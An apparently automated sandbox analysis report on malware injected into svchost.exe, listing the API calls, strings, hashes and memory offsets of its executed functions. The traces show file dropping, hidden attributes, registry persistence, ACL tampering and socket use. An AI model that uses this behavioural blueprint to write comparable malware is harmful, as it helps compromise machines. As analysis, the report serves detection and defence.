Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Analysis Process: svchost.exePID: 940, Parent PID: 7096COMMON

Execution Graph

Execution Coverage:	14.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.7%
Total number of Nodes:	1808
Total number of Limit Nodes:	18

Executed Functions

Function 02D3C913 Relevance: 115.1, APIs: 45, Strings: 20, Instructions: 1397filestringprocessCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 02D3CA4E
closesocket.WS2_32(?), ref: 02D3CB63
GetTempPathA.KERNEL32(00000120,?), ref: 02D3CC28
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 02D3CCB4
WriteFile.KERNEL32(02D3A4B3,?,-000000E8,?,00000000), ref: 02D3CCDC
CloseHandle.KERNEL32(02D3A4B3), ref: 02D3CCED
wsprintfA.USER32 ref: 02D3CD21
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 02D3CD77
WaitForSingleObject.KERNEL32(?,0000EA60), ref: 02D3CD89
CloseHandle.KERNEL32(?), ref: 02D3CD98
CloseHandle.KERNEL32(?), ref: 02D3CD9D
DeleteFileA.KERNEL32(?), ref: 02D3CDC4
CloseHandle.KERNEL32(02D3A4B3), ref: 02D3CDCC
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,00000100), ref: 02D3CFB1
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 02D3CFEF
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 02D3D033
lstrcatA.KERNEL32(?,04500108), ref: 02D3D10C
SetFileAttributesA.KERNEL32(?,00000080), ref: 02D3D155
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 02D3D171
WriteFile.KERNEL32(00000000,0450012C,?,?,00000000), ref: 02D3D195
CloseHandle.KERNEL32(00000000), ref: 02D3D19C
SetFileAttributesA.KERNEL32(?,00000002), ref: 02D3D1C8
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,00000100), ref: 02D3D231
lstrcatA.KERNEL32(?,04500108,?,?,?,?,?,?,?,00000100), ref: 02D3D27C
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,00000100), ref: 02D3D2AB
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,00000100), ref: 02D3D2C7
WriteFile.KERNEL32(00000000,0450012C,?,?,00000000,?,?,?,?,?,?,?,00000100), ref: 02D3D2EB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00000100), ref: 02D3D2F2
SetFileAttributesA.KERNEL32(?,00000002,?,?,?,?,?,?,?,00000100), ref: 02D3D326
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,00000100), ref: 02D3D372
lstrcatA.KERNEL32(?,04500108,?,?,?,?,?,?,?,00000100), ref: 02D3D3BD
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,00000100), ref: 02D3D3EC
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,00000100), ref: 02D3D408
WriteFile.KERNEL32(00000000,0450012C,?,?,00000000,?,?,?,?,?,?,?,00000100), ref: 02D3D428
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00000100), ref: 02D3D42F
SetFileAttributesA.KERNEL32(?,00000002,?,?,?,?,?,?,?,00000100), ref: 02D3D45B
CreateProcessA.KERNEL32(?,02D40264,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 02D3D4DE
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000100), ref: 02D3D4F4
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000100), ref: 02D3D4FC
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000100), ref: 02D3D513
closesocket.WS2_32(?), ref: 02D3D56C
Sleep.KERNEL32(000003E8), ref: 02D3D577
ExitProcess.KERNEL32 ref: 02D3D583
wsprintfA.USER32 ref: 02D3D81F

Part of subcall function 02D3C65C: send.WS2_32(00000000,?,00000000), ref: 02D3C74B

closesocket.WS2_32(?), ref: 02D3DAD5

Strings

work_srv, xrefs: 02D3D607, 02D3D60F, 02D3D62C
4, xrefs: 02D3D9F7
wtm_r, xrefs: 02D3C97F
time_cfg, xrefs: 02D3C95B, 02D3C962, 02D3C971, 02D3C984
except_info, xrefs: 02D3D8CD, 02D3D8D2, 02D3D8FB
&^{, xrefs: 02D3CDE2, 02D3CE04, 02D3D9AB, 02D3D9D9
.dat, xrefs: 02D3D0D7, 02D3D138, 02D3D1AE, 02D3D1D4, 02D3D28E, 02D3D308, 02D3D3CF, 02D3D441
.sys, xrefs: 02D3D0CC
C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 02D3CC10, 02D3CCF3, 02D3D975, 02D3D98E
wtm_c, xrefs: 02D3C956
\, xrefs: 02D3D39D
wtm_w, xrefs: 02D3C96C
lid_file_upd, xrefs: 02D3CE6A
srv_time, xrefs: 02D3CABB
localcfg, xrefs: 02D3CA89, 02D3CA93, 02D3CAC0, 02D3CAD2, 02D3CE4F, 02D3CE6F, 02D3D8D3, 02D3D8FC
@, xrefs: 02D3D754
flags_upd, xrefs: 02D3CE4A
local_time, xrefs: 02D3CACD
\, xrefs: 02D3D3A7
drivers\, xrefs: 02D3D067

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$AttributesCreate$Writeclosesocket$EnvironmentProcessVariablelstrcat$DeleteDirectorySystemwsprintf$ExitObjectPathSingleSleepTempWaitsend
String ID: &^{$.dat$.sys$4$@$C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe$\$\$drivers\$except_info$flags_upd$lid_file_upd$local_time$localcfg$srv_time$time_cfg$work_srv$wtm_c$wtm_r$wtm_w
API String ID: 562065436-3195193897
Opcode ID: fdcb9e8f904f1b80b97d37e2be4c8c75b3d726aac895a5054bfdb4a2e69a8ba5
Instruction ID: 080062dd92b586adc6e1ba94e25725bbd895cf241de5417f8ed280ac7c2ac60f
Opcode Fuzzy Hash: fdcb9e8f904f1b80b97d37e2be4c8c75b3d726aac895a5054bfdb4a2e69a8ba5
Instruction Fuzzy Hash: C1B2A372D44249AFEB16DFA4DD88FEA7BFAEB04304F14046AEA45A2380D7709D55CF60

Function 02D39A6B Relevance: 100.5, APIs: 48, Strings: 9, Instructions: 799stringsleepregistryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000003), ref: 02D39A7F
SetErrorMode.KERNELBASE(00000003), ref: 02D39A83
SetUnhandledExceptionFilter.KERNEL32(02D36511), ref: 02D39A8A

Part of subcall function 02D3EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 02D3EC5E
Part of subcall function 02D3EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 02D3EC72
Part of subcall function 02D3EC54: GetTickCount.KERNEL32 ref: 02D3EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 02D39AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 02D39ABA
GetCommandLineA.KERNEL32 ref: 02D39AFD
lstrlenA.KERNEL32(?), ref: 02D39B99
ExitProcess.KERNEL32 ref: 02D39C06
GetTempPathA.KERNEL32(000001F4,?), ref: 02D39CAC
lstrcpyA.KERNEL32(?,00000000), ref: 02D39D7A
lstrcatA.KERNEL32(?,?), ref: 02D39D8B
lstrcatA.KERNEL32(?,02D4070C), ref: 02D39D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 02D39DED
DeleteFileA.KERNEL32(00000022), ref: 02D39E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 02D39E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 02D39EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 02D39ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 02D39F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 02D39F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 02D39F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 02D39FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 02D39FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 02D39FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 02D3A038
lstrcatA.KERNEL32(00000022,02D40A34), ref: 02D3A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 02D3A072
lstrcatA.KERNEL32(00000022,02D40A34), ref: 02D3A08D
wsprintfA.USER32 ref: 02D3A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 02D3A0DE
lstrcatA.KERNEL32(00000022,?), ref: 02D3A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 02D3A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 02D3A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 02D3A174
GetModuleFileNameA.KERNEL32(00000000), ref: 02D3A17B
GetDriveTypeA.KERNEL32(00000022), ref: 02D3A1B6
GetCommandLineA.KERNEL32 ref: 02D3A1E5

Part of subcall function 02D399D2: lstrcpyA.KERNEL32(?,?,00000100,02D422F8,00000000,?,02D39E9D,?,00000022,?,?,?,?,?,?,?), ref: 02D399DF
Part of subcall function 02D399D2: lstrcatA.KERNEL32(00000022,00000000,?,?,02D39E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 02D39A3C
Part of subcall function 02D399D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,02D39E9D,?,00000022,?,?,?), ref: 02D39A52

lstrlenA.KERNEL32(?), ref: 02D3A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 02D3A3B7
GetLastError.KERNEL32 ref: 02D3A3ED
Sleep.KERNELBASE(000003E8), ref: 02D3A400
DeleteFileA.KERNELBASE(02D433D8), ref: 02D3A407
CreateThread.KERNELBASE(00000000,00000000,02D3405E,00000000,00000000,00000000), ref: 02D3A42C
WSAStartup.WS2_32(00001010,?), ref: 02D3A43A
CreateThread.KERNELBASE(00000000,00000000,02D3877E,00000000,00000000,00000000), ref: 02D3A469
Sleep.KERNELBASE(00000BB8), ref: 02D3A48A
GetTickCount.KERNEL32 ref: 02D3A49F
GetTickCount.KERNEL32 ref: 02D3A4B7
Sleep.KERNELBASE(00001A90), ref: 02D3A4C3

Strings

", xrefs: 02D3A189
\, xrefs: 02D39D0C
", xrefs: 02D3A078
P, xrefs: 02D39DAA
D, xrefs: 02D39F8E
", xrefs: 02D39EDB
chxnvqnu, xrefs: 02D3A389, 02D3A397
C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 02D3A1D9
%X%08X, xrefs: 02D3A0B0

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe$D$P$\$chxnvqnu
API String ID: 2089075347-1845463428
Opcode ID: 0874d4ae63829d5a4470ac5021b4a2cf2fef0304460b10d76ce919c2394b9805
Instruction ID: 80917907ad3d8245bc209a09ab555c2df0eda4a39121b9e2bca32e26e650caa4
Opcode Fuzzy Hash: 0874d4ae63829d5a4470ac5021b4a2cf2fef0304460b10d76ce919c2394b9805
Instruction Fuzzy Hash: 245250B2D40259AFDB269FA0DC49AEE7BBDEF04304F1444A6E649E2341E7709E44CF61

Function 02D3199C Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_addr.WS2_32(123.45.67.89), ref: 02D319B1
LoadLibraryA.KERNELBASE(Iphlpapi.dll,?,?,?,?,00000001,02D31E9E), ref: 02D319BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 02D319E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 02D319ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 02D319F9
GetBestInterface.IPHLPAPI(?,?,?,?,?,?,00000001,02D31E9E), ref: 02D31A1B
GetProcessHeap.KERNEL32(?,?,?,?,00000001,02D31E9E), ref: 02D31A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,02D31E9E), ref: 02D31A36
GetAdaptersInfo.IPHLPAPI(00000000,02D31E9E,?,?,?,?,00000001,02D31E9E), ref: 02D31A4A
HeapReAlloc.KERNEL32(?,00000000,00000000,02D31E9E,?,?,?,?,00000001,02D31E9E), ref: 02D31A5A
GetAdaptersInfo.IPHLPAPI(00000000,02D31E9E,?,?,?,?,00000001,02D31E9E), ref: 02D31A6E
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,02D31E9E), ref: 02D31A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,02D31E9E), ref: 02D31AA4

Strings

localcfg, xrefs: 02D319A3
GetIfEntry, xrefs: 02D319E4
GetAdaptersInfo, xrefs: 02D319DC
GetBestInterface, xrefs: 02D319EF
123.45.67.89, xrefs: 02D319A6
Iphlpapi.dll, xrefs: 02D319B7

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AdaptersAllocFreeInfoLibrary$BestInterfaceLoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg
API String ID: 293628436-270533642
Opcode ID: 1759554a6d6f940cb845b5f4ea7d9e54919deefa8d93f2ac004e2f49417193fd
Instruction ID: ced131813058df51c27044455b2f6efb5a1acd02eb93f94e8f24d16b37e8baab
Opcode Fuzzy Hash: 1759554a6d6f940cb845b5f4ea7d9e54919deefa8d93f2ac004e2f49417193fd
Instruction Fuzzy Hash: 10315036D4425AAFDB169FE4DC889BEBBB9EF45207F144579E605E2300D7708E41CBA0

Function 02D37A95 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 02D37ABA
GetUserNameA.ADVAPI32(?,?), ref: 02D37ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,02D4070C,?,?,?), ref: 02D37B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 02D37B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 02D37B59
EqualSid.ADVAPI32(?,00000022), ref: 02D37B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 02D37B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02D37B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 02D37B9C
RegSetKeySecurity.KERNELBASE(00000000,00000001,00000000), ref: 02D37BAB
LocalFree.KERNEL32(00000000), ref: 02D37BB2
GetSecurityDescriptorDacl.ADVAPI32(?,02D37FC9,?,00000000), ref: 02D37BCE

Strings

D, xrefs: 02D37B0C
C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 02D37CE2, 02D37D0F, 02D37D23, 02D37D24

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe$D
API String ID: 2976863881-3421824669
Opcode ID: a9560e664e2b63efaac977f1268869e2167beebc3d17c1173b45be5922e00502
Instruction ID: e5c10dfd6f8b12432e3c7ca8f1ff1c668978861ebcf4455d6109c6adf6cced1b
Opcode Fuzzy Hash: a9560e664e2b63efaac977f1268869e2167beebc3d17c1173b45be5922e00502
Instruction Fuzzy Hash: 7DA13AB5D40619EBEF228FA0DC88FEEBBB9FB44305F144469EA05E2240D7359E55CB60

Function 02D37809 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(?,?), ref: 02D3782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 02D37866
GetLengthSid.ADVAPI32(?), ref: 02D37878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 02D3789A
GetSecurityDescriptorOwner.ADVAPI32(?,02D37F63,?), ref: 02D378B8
EqualSid.ADVAPI32(?,02D37F63), ref: 02D378D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 02D378E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02D378F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 02D37901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 02D37910
LocalFree.KERNEL32(00000000), ref: 02D37917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 02D37933
GetAce.ADVAPI32(?,00000000,?), ref: 02D37963
EqualSid.ADVAPI32(?,02D37F63), ref: 02D3798A
DeleteAce.ADVAPI32(?,00000000), ref: 02D379A3
EqualSid.ADVAPI32(?,02D37F63), ref: 02D379C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 02D37A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02D37A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 02D37A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 02D37A79
LocalFree.KERNEL32(00000000), ref: 02D37A87

Strings

D, xrefs: 02D3785C

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: 9f310fa6f0db3acadc01d293617e858d4613f9b28725e65d42f3418547762b5f
Instruction ID: 740d0e064ef7239506847b6076745c26c3ce2a662eeffe3a2a366393fc3c5c81
Opcode Fuzzy Hash: 9f310fa6f0db3acadc01d293617e858d4613f9b28725e65d42f3418547762b5f
Instruction Fuzzy Hash: 47812CB1D40619ABEB22CFA4DD84FEEBBBCEF08345F14456AE605E2240D7349A55CB60

Function 02D38328 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 361
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 02D383F3
RegQueryValueExA.KERNELBASE(02D40750,?,00000000,?,02D38893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 02D38414
RegSetValueExA.KERNELBASE(02D40750,?,00000000,00000004,02D38893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 02D38441
RegCloseKey.ADVAPI32(02D40750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 02D3844A

Strings

localcfg, xrefs: 02D38348
&^{, xrefs: 02D38609
C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 02D385C8, 02D385D5, 02D385E5

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: &^{$C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe$localcfg
API String ID: 237177642-1430710465
Opcode ID: 024b51877407e719083d78be4e711f6393b26b426da5d6e662e30bd2407bc0f9
Instruction ID: 0186cc02878ea7e50aa7af88bce7fe0575237707319426ebb52d4dd997773506
Opcode Fuzzy Hash: 024b51877407e719083d78be4e711f6393b26b426da5d6e662e30bd2407bc0f9
Instruction Fuzzy Hash: 39C17DB6D40149BFEB12AFA4DC84EEE7BBEEB04345F144465FA01E2240EB709E54DB21

Function 02D31D96 Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32 ref: 02D31DC6
GetSystemInfo.KERNELBASE(?), ref: 02D31DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 02D31E03
GetProcAddress.KERNEL32(00000000), ref: 02D31E0A
GetCurrentProcess.KERNEL32(?), ref: 02D31E1B
GetTickCount.KERNEL32 ref: 02D31FC9

Part of subcall function 02D31BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 02D31C15

Strings

IsWow64Process, xrefs: 02D31DF2
work_srv, xrefs: 02D31E5E
hi_id, xrefs: 02D31F16, 02D31F1B, 02D31F33
localcfg, xrefs: 02D31E2A, 02D31E31, 02D31E44, 02D31E7D, 02D31E8C, 02D31EB2, 02D31ED1, 02D31EE7, 02D31EFF, 02D31F1C, 02D31F34, 02D31F50, 02D31F70
net_type, xrefs: 02D31E87
flags_upd, xrefs: 02D31E3E, 02D31E43, 02D31E7C
loader_id, xrefs: 02D31F4B, 02D31F6B
start_srv, xrefs: 02D31E6C
born_date, xrefs: 02D31EAD, 02D31ECC
kernel32, xrefs: 02D31DF7
lid_file_upd, xrefs: 02D31E25

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 150575e33fc7031c881fdb2b43edd1de4604870fa12106926d874c87cb6169fa
Instruction ID: 9b319fe988cb9e94996bb73682198be0cb3a651c9777ba7d7b15a08b4674b784
Opcode Fuzzy Hash: 150575e33fc7031c881fdb2b43edd1de4604870fa12106926d874c87cb6169fa
Instruction Fuzzy Hash: 5651A1B19043446FE321AF65CC89B27BBECEF85709F04091DE68A92382D775ED04CA71

Function 02D373FF Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,75920F10,00000000), ref: 02D37472
RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000101,?,?,?,?,?,?,?,75920F10,00000000), ref: 02D374F0
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,75920F10,00000000), ref: 02D37528
___ascii_stricmp.LIBCMT ref: 02D3764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,75920F10,00000000), ref: 02D376E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 02D37706
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,75920F10,00000000), ref: 02D37717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,75920F10,00000000), ref: 02D37745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,75920F10,00000000), ref: 02D377EF

Part of subcall function 02D3F1A5: lstrlenA.KERNEL32(000000C8,000000E4,02D422F8,000000C8,02D37150,?), ref: 02D3F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 02D3778F
RegCloseKey.KERNELBASE(?), ref: 02D377E6

Strings

", xrefs: 02D37599

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "
API String ID: 3433985886-123907689
Opcode ID: 758890cc15e8c16fde6feb68404e30692d9136b125b7b8507cec39f60d8075cd
Instruction ID: be3db89e1ffde6a4bac50ab697f7e7b3de979bf18b7f8fe91c307219fab4227a
Opcode Fuzzy Hash: 758890cc15e8c16fde6feb68404e30692d9136b125b7b8507cec39f60d8075cd
Instruction Fuzzy Hash: 2AC171B2940649AFEB229FA4DC44FEEBBB9EF45310F1404A5E504E6290EB71DE54CF60

Function 02D3675C Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,75920F10,00000000), ref: 02D3677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,75920F10,00000000), ref: 02D3679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,75920F10,00000000), ref: 02D367B0
SetFileAttributesA.KERNEL32(?,00000002,?,75920F10,00000000), ref: 02D367BF
GetFileSize.KERNEL32(000000FF,00000000,?,75920F10,00000000), ref: 02D367D3
ReadFile.KERNELBASE(000000FF,?,00000040,02D38244,00000000,?,75920F10,00000000), ref: 02D36807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 02D3681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,75920F10,00000000), ref: 02D3683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 02D3685C
ReadFile.KERNEL32(000000FF,?,00000028,02D38244,00000000,?,75920F10,00000000), ref: 02D3688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,75920F10,00000000), ref: 02D36906
ReadFile.KERNEL32(000000FF,?,00000000,02D38244,00000000,?,75920F10,00000000), ref: 02D3691C
CloseHandle.KERNELBASE(000000FF,?,75920F10,00000000), ref: 02D36971

Part of subcall function 02D3EC2E: GetProcessHeap.KERNEL32(00000000,02D3EA27,00000000,02D3EA27,00000000), ref: 02D3EC41
Part of subcall function 02D3EC2E: RtlFreeHeap.NTDLL(00000000), ref: 02D3EC48

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 2622201749-0
Opcode ID: d12863f0ff5a53d8cd17c2a6a9ed9b23a8cfa65ef5bf9ce7660a317e78bf124b
Instruction ID: cc63ad953e6be06bf3ab69384732c170a473ff3298f2ef95eb99d8e0c71f350e
Opcode Fuzzy Hash: d12863f0ff5a53d8cd17c2a6a9ed9b23a8cfa65ef5bf9ce7660a317e78bf124b
Instruction Fuzzy Hash: 0571F871D00219FFDF158FA4CC84AEEBBB9FB08354F10456AE515A6290E7309E52DFA4

Function 02D3F315 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 103
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

htons.WS2_32(02D3CA1D), ref: 02D3F34D
socket.WS2_32(00000002,00000001,00000000), ref: 02D3F367
closesocket.WS2_32(00000000), ref: 02D3F375

Strings

time_cfg, xrefs: 02D3F323

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

